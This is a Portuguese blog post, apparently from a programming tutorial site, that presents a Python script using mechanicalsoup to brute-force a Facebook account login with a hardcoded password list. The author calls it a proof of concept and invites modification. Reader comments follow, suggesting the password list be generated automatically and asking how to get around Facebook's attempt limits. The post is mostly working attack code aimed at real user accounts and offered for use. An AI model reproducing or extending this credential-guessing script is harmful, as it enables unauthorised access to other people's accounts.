Quando entramos no site do Facebook, no alto do site tem duas caixinhas para colocar “Email ou telefone” e “Senha”. Quando clicamos em entrar, o Facebook envia algumas outras informações com os dados informados pelo usuário como mostrado nos códigos abaixo:
<input type="hidden" name="jazoest" value="2709" autocomplete="off" /> <input type="hidden" name="lsd" value="AVozKHz8" autocomplete="off" /> <input type="hidden" autocomplete="off" name="timezone" value="" id="u_0_3" /> <input type="hidden" autocomplete="off" name="lgndim" value="" id="u_0_4" /> <input type="hidden" name="lgnrnd" value="070857_6SPQ" /> <input type="hidden" id="lgnjs" name="lgnjs" value="n" /> <input type="hidden" autocomplete="off" name="ab_test_data" value="" /> <input type="hidden" autocomplete="off" id="locale" name="locale" value="pt_BR" /> <input type="hidden" autocomplete="off" name="next" value="https://www.facebook.com/" /> <input type="hidden" autocomplete="off" name="login_source" value="login_bluebar" /> <input type="hidden" autocomplete="off" name="guid" value="" /> <input type="hidden" autocomplete="off" id="prefill_contact_point" name="prefill_contact_point" /> <input type="hidden" autocomplete="off" id="prefill_source" name="prefill_source" /> <input type="hidden" autocomplete="off" id="prefill_type" name="prefill_type" />
Não temos nenhuma garantia que estes valores serão sempre os mesmos. Por isso teríamos duas possibilidades para fazer um ataque de força bruta a uma conta no Facebook:
- Pegar estes valores e enviar tudo em uma requisição legítima para o “action” deste formulário
- Usar um “navegador” que faça tudo isso sem eu precisar me preocupar
Obviamente escolhi a segunda opção. Hoje coloco um código feito em Python que faz um ataque de força bruta:
import mechanicalsoup import time from bs4 import BeautifulSoup URL = "https://www.facebook.com/" senhas = ["123456","123456789","abcdefgh","oaudhfoudb","uiabduadoucb","uabdcibadc","audfpoadbf","aubdfpuoadbf", "adafad","asdafgadga","heyhey"] def tenta(senha): #cria o navegador virtual navegador = mechanicalsoup.Browser() #Pega o conteudo da pagina do Facebook paginalogin = navegador.get(URL) #print(paginalogin.headers) #Achamos o formulário de login login_form = paginalogin.soup.find("form", {"id":"login_form"}) #vamos encontrar o input do usuário e senha login_form.find("input", {"name": "email"})["value"] = "feronukaz@mailmetal.com" login_form.find("input", {"name": "pass"})["value"] = senha #submit form response = navegador.submit(login_form,paginalogin.url) #verificar se deu certo ret = response.text.find("name=\"pass\" id=\"pass\"") return ret for senha in senhas: ret = tenta(senha) if ret == -1: print("Usuário/Senha corretos(s)") else: print("Usuário/Senha errados(s)") time.sleep(1)
Veja que o código não gera senhas como em um ataque de força bruta, não pega senhas de um arquivo como em um ataque de dicionário e não troca o “e-mail” a ser atacado. Este foi um código que desenvolvi apenas como POC (Proof of Concept – Prova de Conceito). Modifique como quiser.
O programa é bem simples. Ele encontra as caixinhas de “Email ou telefone” e “Senha”. Quando encontra, preenche e envia o formulário. Se na outra página tiver alguma caixinha de senha novamente, significa que o usuário/senha estão errados. Se não aparecer, deu certo.
O que achou? Comenta aqui embaixo
Muito top! Excelente conteúdo
Oi. Primeiro gostaria de agradecer pelo trabalho que tens feito aqui no Blog, tem muita coisa interessante!
Sobre o programa, quando eu executo ele com o meu email do facebook para testar, ele retorna com “Usuário/Senha errados”, mesmo adicionando partes da minha senha no programa, ele não consegue acertar. Alguma ideia do porquê?
Esse script só acerta se a senha correta estiver naquele array. Eu não coloquei nada de força bruta real ou dicionário nele. =D
Este script foi apenas uma prova de conceito.
L, se tu quiser, pode criar uma funçao ou uma repetição para criar esse array com varias combinações de senha
realmente mesmo com a senha e email correto ainda informa senha e usuario errado
o modulo BeautifulSoup foi importado mas eu nao consegui perceber onde ele foi necessario pode indicar onde foi usado. Incrivel, cada codigo que vejo aqui no blog explode a minha mente. Obrigado rafa.
Dica: adiciona no blog um modo dark para o pessoal ler de noite tranquilo.
Boa! =D
show
realmente tem alguma possibilidade de funcionar, mas, quando o navegador ficar enviando muitas requisições o facebook vai Imediatamente bloquear o seu IP.
qual a versão do Python utilizada, mestrão?
É realmente interessante, porém, tenho uma questão, como funciona o ataque de força bruta no Facebook com esses limitadores de tentativas?